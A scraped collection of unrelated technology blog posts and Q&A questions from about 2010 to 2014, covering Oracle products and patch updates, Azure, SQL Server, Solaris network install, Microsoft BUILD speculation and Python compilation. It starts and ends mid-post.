Solaris 11 11/11 Automated Install kernel$ /x86-fcs/platform/i86pc/kernel/$ISADIR/unix -B install=true,inst all_media=http://$serverIP:5555//export/install/fcs,install_service=x86-fcs,inst all_svc_address=$serverIP:5555,livemode=text module$ /x86-fcs/platform/i86pc/$ISADIR/boot_archive Now just boot the client off the network using PXE-boot.  For my demo purposes, that's a client from VirtualBox, of course.  That's all there's to it.  And despite the fact that this blog entry is a little longer - that wasn't that hard now, was it?

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• Deciding which technology to use is a big decision when no technology is an obvious choice

  Deciding which technology to use in a new venture or project is a big decision for any company when no technology is an obvious choice. It is always best to analyze the current requirements of the project, and also evaluate the existing technology climate so that the correct technology based on the situation at the time is selected. When evaluation the requirements of a new project it is best to be open to as many technologies as possible initially so a company can be sure that the right decision gets made. Another important aspect of the technology decision is what can the current network and  hardware environment handle, and what would be needed to be adjusted if a specific technology was selected. For example if the current network operating system is Linux then VB6 would force  a huge change in the current computing environment. However if the current network operation system was windows based then very little change would be needed to allow for VB6 if any change had to be done at all. Finally and most importantly an analysis should be done regarding the current technical employees pertaining to their skills and aspirations. For example if you have a team of Java programmers then forcing them to build something in C# might not be an ideal situation. However having a team of VB.net developers who want to develop something in C# would be a better situation based on this example because they are already failure with the .Net Framework and have a desire to use the new technology. In addition to this analysis the cost associated with building and maintaining the project is also a key factor. If two languages are ideal for a project but one technology will increase the budget or timeline by 50% then it might not be the best choice in that situation. An ideal situation for developing in C# applications would be a project that is built on existing Microsoft technologies. An example of this would be a company who uses Windows 2008 Server as their network operating system, Windows XP Pro as their main operation system, Microsoft SQL Server 2008 as their primary database, and has a team of developers experience in the .net framework. In the above situation Java would be a poor technology decision based on their current computing environment and potential lack of Java development by the company’s developers. It would take the developers longer to develop the application due the fact that they would have to first learn the language and then become comfortable with the language. Although these barriers do exist, it does not mean that it is not due able if the company and developers were committed to the project.

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• Integrating Oracle Forms Applications 11g Into SOA (4-6/Mai/10)

  - by Claudia Costa

  Workshop Description This is a Free workshop of 3 days is targeted at Oracle Forms professionals interested in integrating Oracle Forms into a Service Oriented Architecture. The workshop highlights how Forms can be part of a Service Oriented Architecture, how the Oracle Forms functionalities make it possible to integrate existing (or new) Forms applications with new or existing development utilizing the Service Oriented Architecture concepts. The goal is to understand the incremental approach that Forms provides to developers who need to extend their business platform to JEE, allowing Oracle Forms customers to retain their investment in Oracle Forms while leveraging the opportunities offered by complementing technologies. During the event the attendees will implement the Oracle Forms functionalities that make it possible to integrate with SOA. Register Now! Prerequisites ·         Knowledge of the Oracle Forms development environment (mandatory) ·         Basic knowledge of the Oracle database ·         Basic knowledge of the Java Programming Language ·         Basic knowledge of Oracle Jdeveloper or another Java IDE   System Requirements   This workshop requires attendees to provide their own laptops for this class. Attendee laptops must meet the following minimum hardware/software requirements:   ·         Laptop/PC with minimum 4 GB RAM ·         Oracle Database ·         Oracle Forms 11g R1 PS1 (WebLogic Server 10.1.3.2 + Portal, Forms, Reports and Discoverer ) ·         Oracle JDeveloper 11g R1 PS1 http://download.oracle.com/otn/java/jdeveloper/1112/jdevstudio11112install.exe ·         TCP-IP Loopback Adapter Installation (before the SOASuite installation) ·         Oracle SOASuite 11g R1 PS1 (without BAM component) When asked for an admin password, please use 'welcome1 http://download.oracle.com/otn/nt/middleware/11g/ofm_rcu_win_11.1.1.2.0_disk1_1of1.zip http://download.oracle.com/otn/nt/middleware/11g/ofm_soa_generic_11.1.1.2.0_disk1_1of1.zip ·         Oracle BI Publisher 10.1.3.4.1 http://download.oracle.com/otn/nt/ias/101341/bipublisher_windows_x86_101341.zip ·         Oracle BI Publisher Desktop 10.1.3.4. http://download.oracle.com/otn/nt/ias/101341/bipublisher_desktop_windows_x86_101341.zip   ·         At least 1 Oracle Forms solution already upgraded to the Oracle FMW 11g platform.   ------------------------------------------------------------------------------------------   Horário e Local:   4-6 de Maio / 9:30-18:00h Oracle, Porto Salvo Register Here Para mais informação por favor contacte: [email protected]

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• Windows and SQL Azure Best Practices: Affinity Groups

  - by BuckWoody

  When you create a Windows Azure application, you’ll pick a subscription to put it under. This is a billing container - underneath that, you’ll deploy a Hosted Service. That holds the Web and Worker Roles that you’ll deploy for your applications. along side that, you use the Storage Account to create storage for the application. (In some cases, you might choose to use only storage or Roles - the info here applies anyway) As you are setting up your environment, you’re asked to pick a “region” where your application will run. If you choose a Region, you’ll be asked where to put the Roles. You’re given choices like Asia, North America and so on. This is where the hardware that physically runs your code lives. We have lots of fault domains, power considerations and so on to keep that set of datacenters running, but keep in mind that this is where the application lives. You also get this selection for Storage Accounts. When you make new storage, it’s a best practice to put it where your computing is. This makes the shortest path from the code to the data, and then back out to the user. One of the selections for the location is “Anywhere U.S.”. This selection might be interpreted to mean that we will bias towards keeping the data and the code together, but that may not be the case. There is a specific abstraction we created for just that purpose: Affinity Groups. An Affinity Group is simply a name you can use to tie together resources. You can do this in two places - when you’re creating the Hosted Service (shown above) and on it’s own tree item on the left, called “Affinity Groups”. When you select either of those actions, You’re presented with a dialog box that allows you to specify a name, and then the Region that  names ties the resources to. Now you can select that Affinity Group just as if it were a Region, and your code and data will stay together. That helps with keeping the performance high. Official Documentation: http://msdn.microsoft.com/en-us/library/windowsazure/hh531560.aspx

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• BUILD 2013 - Microsoft Set to Unveil It&rsquo;s Reinvention

  - by D'Arcy Lussier

  Originally posted on: http://geekswithblogs.net/dlussier/archive/2013/06/24/153211.aspxSome thoughts as we head into BUILD this week… This week in San Francisco Microsoft will be hosting the BUILD conference. They’ll be talking up Windows 8.1 (Windows Blue), more Azure, some Windows Phone, XBox, Office 365… actually, they told us on the original BUILD announcement site what we’d be seeing:           While looking at this, consider a recent article from The Verge that talks about the speculation of a huge shake up at Microsoft . From the article: All Things D quotes one insider as saying they're "titanic" changes, noting they might be attached to Ballmer's legacy at the company. "It’s the first time in a long time that it feels like that there will be some major shifts, including some departures," says the alleged insider. Considering Ballmer let Sinofsky go right after the Windows 8 launch, the idea of Microsoft cutting loose some executives doesn’t seem to be big news. But the next piece of the article frames things more interestingly: Ballmer is reportedly considering a new structure that would create four separate divisions: enterprise business, hardware, applications and services, and an operating systems group. This statement got me thinking…what would this new structure look like? Below is one possibility: At a recent (this year or last year, I can’t recall which) Microsoft shareholder’s meeting, Ballmer made the statement that Microsoft is now a products and services company. At the time I don’t think I really let that statement sink in. Partially because I really liked the Microsoft of my professional youth – the one that was a software and platform company. In Canada, Microsoft has been pushing three platform areas: Lync, Azure, and SQL Server. I would expect those to change moving forward as Microsoft continues to look for Partners that will help them increase their Services revenue through solutions that incorporate/are based on Azure, Office 365, Lync, and Dynamics. I also wonder if we’re not seeing a culling of partners through changes to the Microsoft Partner Program. In addition to the changing certification requirements that align more to Microsoft’s goals (i.e. There is no desktop development based MCSD, only Windows 8 Store Apps), competencies that partners can qualify for are being merged, requirements changed, and licenses provided reduced. Ballmer warned as much at the last WPC though that they were looking for partners who were “all in” with Microsoft, and these programs seem to support that sentiment. Heading into BUILD this week, I’ll be looking to answer one question – what does it mean to be a Microsoft developer here in the 2010’s? What is the future of the Microsoft development platform? Sure, Visual Studio is still alive and well and Microsoft realizes that there’s a huge install base of .NET developers actively working on solutions. But they’ve ratcheted down the messaging around their development stack and instead focussed on promoting development for their platforms and services. Last year at BUILD with the release of Windows 8, Microsoft just breached the walls of its cocoon. After this BUILD and the organizational change announcements in July, we’ll see what Microsoft looks like fully emerged from its metamorphosis.

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• A Few Words from Oracle’s Channel Chief

  - by Meghan Fritz-Oracle

  As Oracle enters a new fiscal year, I want to take a moment and reflect on my time at Oracle thus far. The technology industry is currently at an inflection point trying to figure out where growth will come from. When you look at Oracle’s portfolio of products, it's a complete stack from applications to disc, offering differentiation in the marketplace. I was initially drawn to Oracle’s leadership, strategy, and world-class technology. Since joining the Oracle team in October 2013, I’ve had the privilege of traveling around the globe visiting our partners and customers, and wanted to share several common themes that came up during these meetings. Cloud: Many partners are trying to figure out how to build a business around the cloud. Oracle partners can currently resell or refer our cloud services. We saw over 300 percent growth from cloud resale last quarter. Engineered Systems: Hardware and software integrated together to simplify IT allows our joint customers to focus on the innovation they need to compete in a complex marketplace. We're seeing great success in a several areas, with more partners saying, “Let’s start with Oracle on Oracle.” The Internet of Things: This is the next big opportunity for device manufacturers and ISV‘s to capture market share in what is projected to be a mulit-trillion-dollar opportunity, according to Gartner.  Competition: We've got a tremendous middleware platform and a tremendous database install base. We’re not just a database company; we are a complete provider. So looking ahead, what are my priorities for fiscal 2015? Oracle PartnerNetwork has some very exciting plans on the horizon. There’s a lot more leadership and announcements to unfold, especially at this year’s Global Partner Kickoff taking place on June 25 + 26 depending on your region and time zone. I along with several other Oracle executives will be shedding light on Oracle’s strategy for the upcoming year, the latest opportunities within the OPN Specialized Program and sales strategies that will help you to continue to grow and profit with Oracle. Stay tuned for registration information next week.We also have Oracle OpenWorld and JavaOne to look forward to. These conferences are taking place in San Francisco from September 28 – October 2. We’ll have a variety of partner-specific activities for you at OPN Central @ OpenWorld including the OPN keynote, the famed AfterDark networking reception, access to the OPN Lounge and more.In the meantime, I hope that everyone has a great end to fiscal 2014.Best regards,Rich Geraffo Senior Vice President, Worldwide Alliances and Channels

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• Ask the Readers: Do You Prefer Computers, Game Consoles, or Other Devices for Your Gaming Needs?

  - by Asian Angel

  Nearly everyone who has access to a computer will play games on it at some point, but many people also use a separate game platform as well. What we would like to know this week is if you prefer using a computer, game consoles, or other devices for your gaming needs. Photo of Faith and Kate Connors from Mirror’s Edge by Tamahikari Tammas. Video games are a perfect way to relax and have fun at home (or at work if you can sneak in some game time!). The increasing variety of devices available with each passing year are making it easier to have access to a gaming platform to suit your needs or “darkest gaming desires”. For many people their computers are the perfect platform…they can play Flash-based games in their browsers, use the default set of games that come with their system, and install any extras that catch their eyes. The added benefit is that when game time is over they can drop right into their browsing, e-mail, personal projects, or work without having to switch hardware. The convenience of the “all-in-one” platform is certainly appealing! Perhaps you prefer to use your computer for other activities outside of gaming and own one or more separate game consoles. You might have chosen an Xbox, Playstation, or Nintendo for example. Maybe a hand-held is preferable for its’ size and portability. Then there are mobile phones and the iPad… With so many options it may feel hard to choose the right platform(s) without a good bit of research regarding display, availability of games for a particular platform, how long before the platform starts to become “obsolete”, etc. What we would like to know this week is which gaming platform you prefer. Is there only one that you choose to use or do you use multiple platforms for gaming? Is there a particular reason such as convenience for your choices? You may even be keeping an older platform around just for a certain game (or games) made for it. Are there any recommendations or advice that you would like to share with your fellow readers? Let us know in the comments! How-To Geek Polls require Javascript. Please Click Here to View the Poll. Latest Features How-To Geek ETC HTG Projects: How to Create Your Own Custom Papercraft Toy How to Combine Rescue Disks to Create the Ultimate Windows Repair Disk What is Camera Raw, and Why Would a Professional Prefer it to JPG? The How-To Geek Guide to Audio Editing: The Basics How To Boot 10 Different Live CDs From 1 USB Flash Drive The 20 Best How-To Geek Linux Articles of 2010 Apture Highlights Turns Your Cursor into a Search Tool Add Classic Sci-Fi Goodness to Your Desktop with the Matrix Theme for Windows 7 You Can’t Walk Straight without Visual Markers [Video] Lord of the Rings Movie Parody Double Feature [Video] Turn a Webpage into an Asteroids-Styled Shooting Game in Opera Dolphin Browser Mini Leaves Beta; Sports New GUI, Easy Bookmarking, and More

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• CodePlex Daily Summary for Tuesday, June 15, 2010

  CodePlex Daily Summary for Tuesday, June 15, 2010New ProjectsBackup on Build: Backup critical files on each Visual Studio build.CDN Support for EPiServer CMS: This module adds CDN support for EPiServer CMS by modifying outgoing links.Custom WCF Bindings: This project contains some custom WCF LOB SDK bindings I have created including a SalesForce one. I will blog on updates as they occur. Please se...DocIcon for SharePoint 2010: DocIcon for SharePoint re-enables links from document icons in SharePoint 2010. This feature was in previous versions of SharePoint, but was remove...EEG Peak Detection: EEG Peak Detectionemployeemanagement1: employeemanagement1Enables map services on top of existing map providers like Google Maps: Services include Map visualization services, Map decoration services, Spot registration services and Spot naming services.fbprivacy: Tool to assess your Facebook Privacy SettingsfMRI SVM Toolbox: fMRI SVM ToolboxGCMS – using .Net for human CMS: GCMS makes only what you need to do with a CMS and nothing more and it makes it with .NETqjblog: My First Blog.Send2Sharepoint: Office(Word,Excel,Outlook) and windows explorer addin to upload documents to sharepoint document library. SharePoint Find and Replace: SharePoint Find & Replace allows you to replace a specific string within a site collection with a different value. For example, when you change a l...SharePoint Management Studio: This project developed on Visula Studio 2008 and c# language. The main aim is manage your SharePoint 2007 FARM.SharePoint PageController: A SharePoint solution which provides an extensible framework to perform actions on a per-page basis in SharePoint. OOTB functionality allows for f...SilverNotePad: Simple notepad built using MVVM patern.SolidWorks Addin Development: The SolidWorks Addin Development project is dedicated to helping developers and non-developers with creating fully functional addins.Sunlit World Scheme: Sunlit World Scheme is a nearly R4RS-compliant Scheme implementation that supports threading, TCP, UDP, cryptography, and simple graphics and windo...TimeBend: Time tracking gone wild.TinyCMS: Jednostavan CMS s mogućnosti unosa vijesti, linkova i natječaja. CSS je napravljen tek toliko... Aplikacija izrađena za dev4Fun natjecanje.Ujimanet Android: text categorization tool for androidVisual Storm Engine: Visual Storm es un motor para probar nuevas tecnologias orientadas a la creacion de video juegos. Por ahora solo soporta Windows Vista/7 y usa Dire...New ReleasesAjax ASP.Net Forum: developer.insecla.com-forum_v0.1.4: *VERSION: 0.1.4* FEATURES ADDED Rating Threads (Through AjaxCTK (included Ms .DLL in the BIN folder)) Empowered Within AJAX Custom star ima...AlphaGet: Alpha 3: Important: from this release WinGet changes its name to AlphaGet in order to identify it better and make it search-engine friendly. New Features N...Backup on Build: Backup on Build v1.0.0 Initial Release: Initial Release version 1.0.0Boleto.Net: BoletoNet: Última versão estável da BoletoNet.dll. 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• Announcing Oracle Enterprise Content Management Suite 11g

  - by [email protected]

  Today Oracle announced Oracle Enterprise Content Management Suite 11g. This is a major release for us, and reinforces our three key themes at Oracle: Complete New in this release - Oracle ECM Suite 11g is built on a single, unified repository. Every piece of content - documents, HTML pages, digital assets, scanned images - is stored and accessbile directly from the repository, whether you are working on websites, creating brand logos, processing accounts payable invoices, or running records and retention functions. It makes complete, end-to-end management of content possible, from the point it enters the organization, through its entire lifecycle. Also new in this release, the installation, access, monitoring and administration of Oracle ECM Suite 11g is centralized. As a complete system, organizations can lower the costs of training and usage by having a centralized source of information that is easily administered. As part of this new unified repository release, Oracle has released a benchmarking white paper that shows the extreme performance and scalability of Oracle ECM Suite. When tested on a two node UCM Server running on Sun Oracle DB Machine Half Rack Hardware with an Exadata storage server, Oracle ECM Suite 11g is able to ingest over 178 million documents per day. Open Oracle ECM Suite 11g is built on a service-oriented architecture. All functions are available through standards-based services calls in Web Services or Java. In this release Oracle unveils Open Web Content Management. Open Web Content Management is a revolutionary approach to web content management that decouples the content management process from the process of creating web applications. One piece of this approach is our one-click web content management. With one click, a web application builder can drag content services into their application, enabling their users to also edit content with just one click. Open Web Content Management is also open because it enables Web developers to add Web content management to new and existing JavaServer Pages (JSP), JavaServer Faces (JSF) and Oracle Application Development Framework (ADF) Faces applications Open content distribution - Oracle ECM Suite 11g offers flexible deployment options with a built-in smart cache so organizations can deliver Web sites or Web applications without requiring Oracle ECM Suite as part of the delivery system Integrated Oracle ECM Suite 11g also offers a series of next generation desktop integrations, providing integrations such as: New MS Office integration with menus to access managed content, insert managed links, and compare managed documents using standard MS Office reviewing tools Automatic identity tagging of documents on download - to help users understand which versions they are viewing and prevent duplicate content items in the content repository. New "smart productivity folders" to show a users workflow inbox, saved searches and checked out content directly from Windows Explorer Drag and drop metadata pop-ups Check in and check out for all file formats with any standard WebDAV server As part of Oracle's Enterprise Application Documents initiative, Oracle Content Management 11g also provides certified application integrations with solution templates You can read the press release here. You can see more assets at the launch center here. You can sign up for the announcement webinar and hear more about the new features here. You can read the benchmarking study here.

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• Exadata support for ACFS (and thus, 10gR2) now available!

  - by Robert Freeman

  Really? Exadata, ACFS and 10gR2? If you work with Exadata you are probably aware that ACFS has not been supported - until now! ACFS is now supported on Exadata if you are running Grid Infrastructure version 12.1.0.2 or later. This new support is described in MOS note 1326938.1. Also Exadata support for ACFS is mentioned in MOS note 888828.1, which is the king of all Exadata notes on MOS. The upshot is that you can now run Oracle Database 10gR2 on Exadata using ACFS as the storage for the Oracle Database. Don’t Over React and just Throw Everything on ACFS!First, let’s be clear that ACFS is not an alternative for running your Exadata databases on ASM. If you are running any production or non-production performance sensitive Oracle databases on 11.2 or 12.1, then you should be running them on ASM disks that are associated with the storage cells. The use case for ACFS is generally limited to the following: Running any Oracle 10gR2 databases on Exadata. Running Oracle 11gR2 development or test databases that require rapid cloning, and that do not require the performance benefits of the Exadata storage cells. If you are running Oracle Database 12c and you need snapshot/clone kinds of capabilities, then you should be using Oracle MultiTennant and the features present in that option (remember though that MultiTennant is a licensed option). The Fine PrintThere are some requirements that you will need to meet If you are going to run ACFS on Exadata. These are: You have to use Oracle Linux You must use GI 12.1.0.2 or later If you wish to use HCC then you must apply the fix for bug 19136936 to your system. This bug, and it’s associated patch do not appear on MOS (as of the time that I wrote this) so you will need to open an SR and get support to provide the patch for you. The Best Use Case for ACFSEven though Oracle Database 10gR2 is at end of life, it remains in use in a large number of places. This has caused problems when choosing to implement Exadata as a consolidation platform, or when choosing it during a hardware refresh process. Now that ACFS is supported, Exadata has become even more flexible and affords customers greater flexibility when migrating to Exadata and Engineered Systems. While all of the features of Exadata might not be available to a 10.2.0.4 database, certainly just the improved processing capabilities of Exadata with its fast as heck infiniband network fabric, additional memory, reduced power requirements and a whole host of other features, justifies moving these databases to Exadata now. This will also make it easier to upgrade these databases when the time comes!

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• SQL SERVER – SQL Server High Availability Options – Notes from the Field #032

  - by Pinal Dave

  [Notes from Pinal]: When it is about High Availability or Disaster Recovery, I often see people getting confused. There are so many options available that when the user has to select what is the most optimal solution for their organization they are often confused. Most of the people even know the salient features of various options, but when they have to figure out one single option to use they are often not sure which option to use. I like to give ask my dear friend time all these kinds of complicated questions. He has a skill to make a complex subject very simple and easy to understand. Linchpin People are database coaches and wellness experts for a data driven world. In this 26th episode of the Notes from the Fields series database expert Tim Radney (partner at Linchpin People) explains in a very simple words the best High Availability Option for your SQL Server.  Working with SQL Server a common challenge we are faced with is providing the maximum uptime possible.  To meet these demands we have to design a solution to provide High Availability (HA). Microsoft SQL Server depending on your edition provides you with several options.  This could be database mirroring, log shipping, failover clusters, availability groups or replication. Each possible solution comes with pro’s and con’s.  Not anyone one solution fits all scenarios so understanding which solution meets which need is important.  As with anything IT related, you need to fully understand your requirements before trying to solution the problem.  When it comes to building an HA solution, you need to understand the risk your organization needs to mitigate the most. I have found that most are concerned about hardware failure and OS failures. Other common concerns are data corruption or storage issues.  For data corruption or storage issues you can mitigate those concerns by having a second copy of the databases. That can be accomplished with database mirroring, log shipping, replication or availability groups with a secondary replica.  Failover clustering and virtualization with shared storage do not provide redundancy of the data. I recently created a chart outlining some pros and cons of each of the technologies that I posted on my blog. I like to use this chart to help illustrate how each technology provides a certain number of benefits.  Each of these solutions carries with it some level of cost and complexity.  As a database professional we should all be familiar with these technologies so we can make the best possible choice for our organization. If you want me to take a look at your server and its settings, or if your server is facing any issue we can Fix Your SQL Server. Note: Tim has also written an excellent book on SQL Backup and Recovery, a must have for everyone. Reference: Pinal Dave (http://blog.sqlauthority.com)Filed under: Notes from the Field, PostADay, SQL, SQL Authority, SQL Performance, SQL Query, SQL Server, SQL Tips and Tricks, T SQL Tagged: Shrinking Database

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• MAXDOP in SQL Azure

  - by Herve Roggero

  In my search of better understanding the scalability options of SQL Azure I stumbled on an interesting aspect: Query Hints in SQL Azure. More specifically, the MAXDOP hint. A few years ago I did a lot of analysis on this query hint (see article on SQL Server Central:  http://www.sqlservercentral.com/articles/Configuring/managingmaxdegreeofparallelism/1029/).  Here is a quick synopsis of MAXDOP: It is a query hint you use when issuing a SQL statement that provides you control with how many processors SQL Server will use to execute the query. For complex queries with lots of I/O requirements, more CPUs can mean faster parallel searches. However the impact can be drastic on other running threads/processes. If your query takes all available processors at 100% for 5 minutes... guess what... nothing else works. The bottom line is that more is not always better. The use of MAXDOP is more art than science... and a whole lot of testing; it depends on two things: the underlying hardware architecture and the application design. So there isn't a magic number that will work for everyone... except 1... :) Let me explain. The rules of engagements are different. SQL Azure is about sharing. Yep... you are forced to nice with your neighbors.  To achieve this goal SQL Azure sets the MAXDOP to 1 by default, and ignores the use of the MAXDOP hint altogether. That means that all you queries will use one and only one processor.  It really isn't such a bad thing however. Keep in mind that in some of the largest SQL Server implementations MAXDOP is usually also set to 1. It is a well known configuration setting for large scale implementations. The reason is precisely to prevent rogue statements (like a SELECT * FROM HISTORY) from bringing down your systems (like a report that should have been running on a different in the first place) and to avoid the overhead generated by executing too many parallel queries that could cause internal memory management nightmares to the host Operating System. Is summary, forcing the MAXDOP to 1 in SQL Azure makes sense; it ensures that your database will continue to function normally even if one of the other tenants on the same server is running massive queries that would otherwise bring you down. Last but not least, keep in mind as well that when you test your database code for performance on-premise, make sure to set the DOP to 1 on your SQL Server databases to simulate SQL Azure conditions.

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• Introducing the Oracle MDM Blog - Why All MDM Solutions Aren't Equal

  - by ken.pulverman

  Welcome to the Oracle MDM Blog.  Dave Butler, Tony Ouk, and myself - Ken Pulverman, will be bringing you news and information from the world of MDM at Oracle.  Dave is our resident expert with more than 30 years of experience in data and information management. Tony has deep expertise in our Exadata product line which provides a strong hardware synergy with MDM.  I come from Siebel Systems where I helped found the team that built our integration product line and then our Universal Customer Master with is part of our MDM offering at Oracle. I thought I'd hit the ground running with a topic we are going to want to continue to bend your ear about.  We had a recent meeting with Ford Goodman, our head of MDM commercial sales in the US and he was very fired up about and important topic.  He's irked that all MDM solutions get painted with the same brush even though they aren't the same at all. There are companies out there trying to represent frameworks and toolkits as out of the box solutions.  They give you the pleasure (read pain) of doing things like developing your own multi-application data model, building your own web services, or creating your own APIs.  Huh?  What gets sold as flexibility in reality is a barrier to ever going live.  At Siebel Systems we obsessed over the notion of a customer.  Our data model took over 10 years to perfect as defining a customer is a very complex task indeed.  There are divisions, subsidiaries, branches, acquisitions, sites etc., etc., etc..  You'll want to do your homework, but trust me - you aren't going to want to take the time or resource to build these canonical data structures yourself.  And what about APIs?  Again, it sounds flexible.  In reality it's a lot of work. Our DNA at Oracle is to reduce the cost of information technology so we pre-integrate our technology with all of our major applications and pre-build integrations and connectors for all the major systems you work with.  This is tedious work that requires detailed knowledge of the interfaces of all the applications involved.  It is also version specific as the interface features and technology are always changing.  We have a substantial organization to manage this complexity so you don't have to.  Suffice to say, we'd like to help our customers peel back the rhetoric of companies that fly the MDM flag without a real offering that you can quickly benefit from. Please watch this space for more information on this storyline as well as news and information around Oracle MDM.

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• Oracle VM Deep Dives

  - by rickramsey

  "With IT staff now tasked to deliver on-demand services, datacenter virtualization requirements have gone beyond simple consolidation and cost reduction. Simply provisioning and delivering an operating environment falls short. IT organizations must rapidly deliver services, such as infrastructure-as-a-service (IaaS), platform-as-a-service (PaaS), and software-as-a-service (SaaS). Virtualization solutions need to be application-driven and enable:" "Easier deployment and management of business critical applications" "Rapid and automated provisioning of the entire application stack inside the virtual machine" "Integrated management of the complete stack including the VM and the applications running inside the VM." Application Driven Virtualization, an Oracle white paper That was published in August of 2011. The new release of Oracle VM Server delivers significant virtual networking performance improvements, among other things. If you're not sure how virtual networks work or how to use them, these two articles by Greg King and friends might help. Looking Under the Hood at Virtual Networking by Greg King Oracle VM Server for x86 lets you create logical networks out of physical Ethernet ports, bonded ports, VLAN segments, virtual MAC addresses (VNICs), and network channels. You can then assign channels (or "roles") to each logical network so that it handles the type of traffic you want it to. Greg King explains how you go about doing this, and how Oracle VM Server for x86 implements the network infrastructure you configured. He also describes how the VM interacts with paravirtualized guest operating systems, hardware virtualized operating systems, and VLANs. Finally, he provides an example that shows you how it all looks from the VM Manager view, the logical view, and the command line view of Oracle VM Server for x86. Fundamental Concepts of VLAN Networks by Greg King and Don Smerker Oracle VM Server for x86 supports a wide range of options in network design, varying in complexity from a single network to configurations that include network bonds, VLANS, bridges, and multiple networks connecting the Oracle VM servers and guests. You can create separate networks to isolate traffic, or you can configure a single network for multiple roles. Network design depends on many factors, including the number and type of network interfaces, reliability and performance goals, the number of Oracle VM servers and guests, and the anticipated workload. The Oracle VM Manager GUI presents four different ways to create an Oracle VM network: Bonds and ports VLANs Both bond/ports and VLANS A local network This article focuses the second option, designing a complex Oracle VM network infrastructure using only VLANs, and it steps through the concepts needed to create a robust network infrastructure for your Oracle VM servers and guests. More Resources Virtual Networking for Dummies Download Oracle VM Server for x86 Find technical resources for Oracle VM Server for x86 -Rick Follow me on: Blog | Facebook | Twitter | Personal Twitter | YouTube | The Great Peruvian Novel

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• Web application / Domain model integration using JSON capable DTOs [on hold]

  - by g-makulik

  I'm a bit confused about architectural choices for the web-applications/java/python world. For c/c++ world the available (open source) choices to implement web applications is pretty limited to zero, involving java or python the choices explode to a,- hard to sort out -, mess of available 'frameworks' and application approaches. I want to sort out a clean MVC model, where the M stands for a fully blown (POCO, POJO driven) domain model (according M.Fowler's EAA pattern) using a mature OO language (Java,C++) for implementation. The background is: I have a system with certain hardware components (that introduce system immanent active behavior) and a configuration database for system meta and HW-components configuration data (these are even usually self contained, since the HW-components are capable to persist their configuration data anyway). For realization of the configuration/status data exchange protocol with the HW-components we have chosen the Google Protobuf format, which works well for the directly wired communication with these components. This protocol is already used successfully with a Java based GUI application via TCP/IP connection to the main system controlling HW-component. This application has some drawbacks and design flaws for historical reasons. Now we want to develop an abstract model (domain model) for configuration and monitoring those HW-components, that represents a more use case oriented view to the overall system behavior. I have the feeling that a plain Java class model would fit best for this (c++ implementation seems to have too much implementation/integration overhead with viable language-bridge interfaces). Google Protobuf message definitions could still serve well to describe DTO objects used to interact with a domain model API. But integrating Google Protobuf messages client side for e.g. data binding in the current view doesn't seem to be a good choice. I'm thinking about some extra serialization features, e.g. for JSON based data exchange with the views/controllers. Most lightweight solutions seem to involve a python based presentation layer using JSON based data transfer (I'm at least not sure to be fully informed about this). Is there some lightweight (applicable for a limited ARM Linux platform) framework available, supporting such architecture to realize a web-application? UPDATE: According to my recent research and comments of colleagues I've noticed that using Java (and some JVM) might not be the preferable choice for integration with python on a limited linux system as we have (running on ARM9 with hard to discuss memory and MCU costs), but C/C++ modules would do well for this (since this forms the native interface to python extensions, doesn't it?). I can imagine to provide a domain model from an appropriate C/C++ API (though I still think it's more efforts and higher skill requirements for the involved developers to do with these languages). Still I'm searching for a good approach that supports such architecture. I'll appreciate any pointers!

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• Is Python Interpreted or Compiled?

  - by crodjer

  This is just a wondering I had while reading about interpreted and compiled languages. Ruby is no doubt an interpreted language, since source code is compiled by an interpreter at the point of execution. On the contrary C is a compiled language, as one have to compile the source code first according to the machine and then execute. This results is much faster execution. Now coming to Python: A python code (somefile.py) when imported creates a file (somefile.pyc) in the same directory. Let us say the import is done in a python shell or django module. After the import I change the code a bit and execute the imported functions again to find that it is still running the old code. This suggests that *.pyc files are compiled python files similar to executable created after compilation of a C file, though I can't execute *.pyc file directly. When the python file (somefile.py) is executed directly ( ./somefile.py or python somefile.py ) no .pyc file is created and the code is executed as is indicating interpreted behavior. These suggest that a python code is compiled every time it is imported in a new process to crate a .pyc while it is interpreted when directly executed. So which type of language should I consider it as? Interpreted or Compiled? And how does its efficiency compare to interpreted and compiled languages? According to wiki's Interpreted Languages page it is listed as a language compiled to Virtual Machine Code, what is meant by that? Update Looking at the answers it seems that there cannot be a perfect answer to my questions. Languages are not only interpreted or only compiled, but there is a spectrum of possibilities between interpreting and compiling. From the answers by aufather, mipadi, Lenny222, ykombinator, comments and wiki I found out that in python's major implementations it is compiled to bytecode, which is a highly compressed and optimized representation and is machine code for a virtual machine, which is implemented not in hardware, but in the bytecode interpreter. Also the the languages are not interpreted or compiled, but rather language implementations either interpret or compile code. I also found out about Just in time compilation As far as execution speed is concerned the various benchmarks cannot be perfect and depend on context and the task which is being performed. Please tell if I am wrong in my interpretations.

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• April 2010 Critical Patch Update Released

  - by eric.maurice

  Hi, this is Eric Maurice. Today Oracle released the April 2010 Critical Patch Update (CPUApr2010),the first one to include security fixes for Oracle Solaris. Today's Critical Patch Update (CPU) provides 47 new security fixes across the following product families: Oracle Database Server, Oracle Fusion Middleware, Oracle Collaboration Suite, Oracle E-Business Suite, Oracle PeopleSoft Enterprise, Oracle Life Sciences, Retail, and Communications Industry Suites, and Oracle Solaris. 28 of these 47 new vulnerabilities are remotely exploitable without authentication, but the criticality of the affected components and the severity of these vulnerabilities vary greatly. Customers should, as usual, refer to the Risk Matrices in the CPU Advisory to assess the relevance of these fixes for their environment (and the urgency with which to apply the fixes). 7 of the 47 new vulnerabilities affect various versions of Oracle Database Server. None of these 7 vulnerabilities are remotely exploitable without authentication. Furthermore, none of these fixes are applicable to client-only deployments. The most severe CVSS Base Score for the Database Server vulnerabilities is 7.1. As a reminder, information about Oracle's use of the CVSS 2.0 standard can be found in Note 394487.1 (My Oracle Support subscription required). Note that this Critical Patch Update includes fixes for vulnerabilities that were publicly disclosed by David Litchfield at the BlackHat DC Conference in early February (CVE-2010-0866 and CVE-2010-0867). 5 of the 47 new vulnerabilities affect various components of the Oracle Fusion Middleware product family. The highest CVSS Base Score for these vulnerabilities is 7.5. Note that the patches for Oracle WebLogic Server are cumulative and this Critical Patch Update therefore also includes a fix for a vulnerability (CVE-2010-0073) that was the subject of a Security Alert issued by Oracle on February 4, 2010. Customers, who have not applied the previously-released patch, should apply today's Critical Patch Update as soon as possible. As stated at the beginning of this blog, it is also noteworthy to highlight that this Critical Patch Update provides 16 new fixes for the Sun product line. With the recent close of the Sun acquisition both security organizations have worked diligently to align Sun's previous security practices with Oracle's. Java users know that Oracle released a Critical Patch Update for Java SE and Java For Business earlier this month (in accordance with the Java patching schedule previously published by Sun Microsystems). Please note that for the first time, the Java advisories included CVSS Scores to help assess the 